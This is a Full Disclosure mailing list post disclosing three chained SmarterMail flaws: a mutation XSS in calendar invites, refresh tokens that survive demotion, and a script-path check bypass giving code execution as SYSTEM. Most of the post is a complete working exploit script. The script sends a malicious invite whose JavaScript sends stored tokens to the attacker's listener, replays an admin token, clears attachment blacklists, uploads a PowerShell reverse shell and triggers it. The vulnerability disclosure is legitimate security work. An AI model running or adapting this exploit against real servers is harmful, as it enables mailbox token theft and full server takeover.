Full Disclosure mailing list archives

SmarterMail <9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084


From: evan via Fulldisclosure <fulldisclosure () seclists org>
Date: Tue, 13 Oct 2026 02:49:16 +1100

original blog: https://blog.evan.lat/posts/sm/

SUMMARY: multiple vulns and misconfigurations in smartermail, notably
a mxss and session persistence issues, alongside several logic bugs
can be chained to achieve remote code execution as nt
authority\system;
https://nvd.nist.gov/vuln/detail/CVE-2026-104082
https://nvd.nist.gov/vuln/detail/CVE-2026-104083
https://nvd.nist.gov/vuln/detail/CVE-2026-104084

a mutated xss exists in smartermail. by sending a specific
text/calendar (icalendar) mimetype with the x-alt-desc header set to a
mutated xss payload:
<math><mtext><mglyph><style><img src=x onerror="{js}"></style>

the parser in the handrolled sanitizer of smartermail fails to
properly sanitize this. the payload reforms after attempts at parsing
it, allowing us to circumvent pre-auth with just one viewing of an
email. notably, this can be done entirely without clicking as well
(technically), since smartermail seems to open to latest email
automatically


====================

a session logic vuln exists in smartermail. getting the refresh token
of a domain admin before they are subsequently demoted does not
actually invalidate any of the tokens privileges; meaning you can
replay the token and continue retaining domain admin/sysadmin even
after being demoted by simply posting the refresh token to
/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken
pairs with the same roles

====================

a series of logic vulns exist in smartermail that can lead to rce as
nt authority\system. typically, pre-9540 smartermail allowed sysadmins
to easily rce the box. this was changed later on when they realzied it
could be abused. nowadays, they make sure that the volume mounts
feature actually requires a script path instead of a command you can
just slap on the volume mount command. this means that tehcnically you
need to upload a script to the box itself or fidn an AFW. fortunately
there is no need, since the path validation doesnt really account for
the fact that we can technically create a domain anywhere in the box.
a domain contains attachments. since smartermail simply checks whether
or not a file is within ApplicationDataScriptsPath (where the scripts
will be); it doesnt actually check if it is within
ApplicationDataScriptsPath/foo/bar/x.txt. this means that we can
simply create a domain within ApplicationDataScriptsPath, clear all
the attachment blacklists, create a user in that domain, impersonate
the user, send an attachment of a batch script/powershell script to
ourselves so it lands on the attachments folder of the domain (which
is in ApplicationDataScriptsPath), reference the script and get rce
anyway

all xps pertaining to this can be found here:
https://github.com/eev4n/smartermail


all in one:
import argparse
import base64
import json
import requests
import smtplib
import threading
import time
from flask import Flask, request

pw = 'Foobar1234!'
fakedom = 'beamed.com'

def pargs():
    p = argparse.ArgumentParser()
    p.add_argument('url', help='base url')
    p.add_argument('--to', required=True, help='targ')
    p.add_argument('--port', default='9000', help='flask')
    p.add_argument('--lhost', required=True, help='nc ip')
    p.add_argument('--lport', default='1234', help='nc port')
    return p.parse_args()

args = pargs()
base = args.url.rstrip('/')
listen = f'http://{args.lhost}:{args.port}&apos;
app = Flask(__name__)


def sendm(to, eml):
    print("PLACEHOLDER PLACEHOLDER")
    host = args.url.split('//')[1].split('/')[0]
    for i in range(12):
        try:
            s = smtplib.SMTP(host, 25, timeout=15)

            s.ehlo()
            s.docmd('MAIL FROM:<important () john com>')
            s.docmd('RCPT TO:<' + to + '>')
            s.docmd('DATA')
            s.send(eml.encode())
            result = s.docmd('.')
            s.quit()

            if result[0] < 300:
                print('+ sent payload')
                return True
            print('- smtp: ' + str(result))
        except Exception as e:
            print('- smtp: ' + str(e))
        time.sleep(5)
    return False


js = f"""(function(){{var t=localStorage.getItem('userTokens');var
i=new Image();i.src='{listen}/?t='+encodeURIComponent(btoa(t));}})()"""
payload = f'<math><mtext><mglyph><style><img src=x onerror="{js}"></style>'

def invite(to):
    return (
        'From: j () j com\r\n'
        'To: ' + to + '\r\n'
        'Subject: yo heres the invite\r\n'
        'Content-Type: multipart/mixed; boundary="cal"\r\n'
        '\r\n'
        '--cal\r\n'
        'Content-Type: text/plain\r\n'
        '\r\n'
        'you have been invited to the next hangout g congrats\r\n'
        '--cal\r\n'
        'Content-Type: text/calendar; method=REQUEST\r\n'
        '\r\n'
        'BEGIN:VCALENDAR\r\n'
        'VERSION:2.0\r\n'
        'PRODID:-//Test//EN\r\n'
        'BEGIN:VEVENT\r\n'
        'UID:' + str(int(time.time())) + '@test.local\r\n'
        'DTSTAMP:20260925T120000Z\r\n'
        'DTSTART:20260925T130000Z\r\n'
        'DTEND:20260925T140000Z\r\n'
        'SUMMARY:Meeting\r\n'
        'X-ALT-DESC;FMTTYPE=text/html:<html><body>' + payload +
'</body></html>\r\n'
        'END:VEVENT\r\n'
        'END:VCALENDAR\r\n'
        '--cal--\r\n'
    )


def picknchoose(tokens):
    for email in tokens:
        refresh = tokens[email].get('refreshToken')

        if not refresh:
            continue

        r = requests.post(base + '/api/v1/auth/refresh-token',
json={'token': refresh}, timeout=30)

        if r.status_code != 200:
            print(f'refresh fail wtf')
            continue

        access = r.json()['accessToken']

        open('refresh.txt', 'a').write(email + ' ' + r.json()['refreshToken'])

        part = access.split('.')[1]
        part += '=' * (-len(part) % 4)

        claims = json.loads(base64.urlsafe_b64decode(part))

        if 'SysAdmin' in claims.get('role', []):
            print(f'+ got sysadmin shit aint sweet no mo')
            return access

        print(f'- {email}: not sysadmin')
    return None

def beam(at):
    def apibase(path, data):
        return requests.post(base + path, json=data,
headers={'Authorization': 'Bearer ' + at}, timeout=60)
    # get the orig path first
    r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
        'Enabled': True,
        'MountPath': 'C:/tmp',
        'CommandMount': 'zz',
        'CommandUnmount': '',
        'ReadOnly': False,
        'UseArgumentsInCommand': False
        })

    if 'not found' not in r.text:
        print('! cant find assets dir')
        return

    assets = r.text.split("Script file '")[1].split('zz')[0]

    print(f'+ got assets {assets}')

    r = apibase('/api/v1/settings/sysadmin/global-mail', {
        'globalMailSettings':
        {
            'fileTypeRestriction':
            {
                'blackList': [],
                'blockFilesWithNoExtension': False
            }
        }
        })
    if r.status_code != 200:
        print('! cant clear bl')
        return

    print('+ bl cleared')

    r = apibase('/api/v1/settings/sysadmin/domain-put', {
        'domainData': {
            'name': fakedom,
            'hostname': 'mail.' + fakedom,
            'path': assets + 'x',
            'isEnabled': True,
            'isSplitDomain': False
        },
        'adminUsername': 'lol',
        'adminPassword': pw
        })

    if r.status_code == 200:
        print('+ new dom')
    else:
        print(f'- cant make new domain')

    email = f'lol@{fakedom}'
    r = apibase('/api/v1/settings/sysadmin/post-user', {
        'email': email,
        'userData': {
            'maxMailboxSize': 0
        },
        'allowMail': True
        })

    if r.status_code == 200:
        print('+ quota unlimited')
    else:
        print(f'- quota: {r.status_code}')

    r = requests.post(base + '/api/v1/auth/authenticate-user', json={
        'Username': email,
        'Password': pw,
        'clientId': 'lol'
        }, timeout=30)

    if r.status_code != 200:
        print('! login fail ' + r.text[:200])
        return
    user_token = r.json()['accessToken']
    print('+ logged in no bizzy BAP ')

    ps1 = f"""$c=New-Object
System.Net.Sockets.TCPClient('{args.lhost}',{args.lport});
$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};
while(($i=$s.Read($b,0,$b.Length))-ne 0){{
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$r=(('Invoke'+'-Expression') $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';
$e=([text.encoding]::ASCII).GetBytes($r2);
$s.Write($e,0,$e.Length);$s.Flush()}};
$c.Close()
"""
    ps1p = assets + 'x/Users/lol/FileStore/Root Folder/fun.ps1'
    bat = (f'@echo off\r\n'
           f'powershell -ExecutionPolicy Bypass -WindowStyle Hidden
-File "{ps1p}"\r\n')

    def upload(filename, content):
        size = str(len(content))
        form = {
            'context': 'file-storage',
            'contextData': '{"folder":""}',
            'resumableChunkNumber': '1',
            'resumableTotalChunks': '1',
            'resumableChunkSize': size,
            'resumableCurrentChunkSize': size,
            'resumableTotalSize': size,
            'resumableIdentifier': filename.upper().replace('.', '-')
+ '-' + size,
            'resumableFilename': filename,
            'resumableRelativePath': filename,
            'resumableType': '',
        }
        # technically not needed but sometimes it fails
        for i in range(15):
            r = requests.post(base + '/api/upload',
headers={'Authorization': 'Bearer ' + user_token}, data=form,
files={'file': (filename, content.encode())}, timeout=30)
            if r.status_code == 200:
                return True
            if 'MAX_SIZE_EXCEEDED' in r.text:
                time.sleep(3)
                continue
            print(f'! upload: {r.text[:100]}')
            return False
        print('! upload is fucked wtf did you do')
        return False

    if not upload('fun.ps1', ps1):
        return
    if not upload('g.bat', bat):
        return
    print('+ uploaded pl')

    r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
        'Enabled': True,
        'MountPath': 'C:/tmp',
        'CommandMount': 'x/Users/lol/FileStore/Root Folder/g.bat',
        'CommandUnmount': '',
        'ReadOnly': False,
        'UseArgumentsInCommand': False
        })
    if 'not found' in r.text:
        print('???: ' + r.text[:300])
    else:
        print(f'+ shell')

@app.route('/')
def catch():
    raw = request.args.get('t', '')
    stolen = base64.b64decode(raw).decode('utf-8', 'replace')
    print('+ got tokens')
    tokens = json.loads(stolen)

    atk = picknchoose(tokens)
    if atk is None:
        print('! no sysadmin token')
        return b''

    beam(atk)
    return b''


threading.Thread(target=lambda: app.run(host='0.0.0.0',
port=int(args.port)), daemon=True).start()
print(f'+ WE UP @ {args.port}')

if not sendm(args.to, invite(args.to)):
    print("! cant send mail")
    exit(1)

print('waiting')
while True:
    time.sleep(60)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread: